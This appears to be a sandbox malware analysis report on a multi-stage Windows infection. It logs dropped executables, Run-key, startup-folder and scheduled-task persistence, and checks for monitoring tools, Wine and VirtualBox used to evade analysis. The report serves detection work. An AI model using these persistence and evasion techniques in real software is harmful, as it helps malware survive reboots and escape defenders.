Source: L[1].exe.4.dr	Static PE information: section name: sxqcewcp entropy: 7.953065889053483
Source: L.exe.4.dr	Static PE information: section name: entropy: 7.984469932221084
Source: L.exe.4.dr	Static PE information: section name: sxqcewcp entropy: 7.953065889053483
Source: random[1].exe.4.dr	Static PE information: section name: .text entropy: 6.863836701808057
Source: 926085a3ba.exe.4.dr	Static PE information: section name: .text entropy: 6.863836701808057
Source: kreon.exe.5.dr	Static PE information: section name: .text entropy: 6.863836701808057
Source: chromeum[1].exe.11.dr	Static PE information: section name: .enigma1 entropy: 7.906419657186906
Source: ChromiumData.exe.11.dr	Static PE information: section name: .enigma1 entropy: 7.906419657186906

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	File created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Jump to dropped file

Source: C:\Users\user\AppData\Local\kreon.exe	File created: C:\Users\user\AppData\Local\Temp\ChromiumData.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\vg9qcBa[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	File created: C:\Users\user\AppData\Local\CyberSphere Dynamics\ZeusChat.scr	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	File created: C:\Program Files\TaskbarMonitor\TaskbarMonitorWindows11.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\TaskbarMonitorInstaller[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\VBVEd6f[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\kreon.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	File created: C:\Users\user\AppData\Local\Temp\Tech	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	File created: C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009923001\uxN4wDZ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\rodda[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\L[1].exe	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	File created: C:\Program Files\TaskbarMonitor\TaskbarMonitorInstaller.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\uxN4wDZ[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	File created: C:\Users\user\AppData\Local\kreon.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\0fVlNye[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	File created: C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe

File created: C:\Users\user\AppData\Local\Temp\Tech

Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 926085a3ba.exe			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kreon			Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 926085a3ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 926085a3ba.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kreon	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run kreon	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\29442\Reynolds.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\477151\Selection.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Uses ping.exe to sleep

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping localhost -n 1
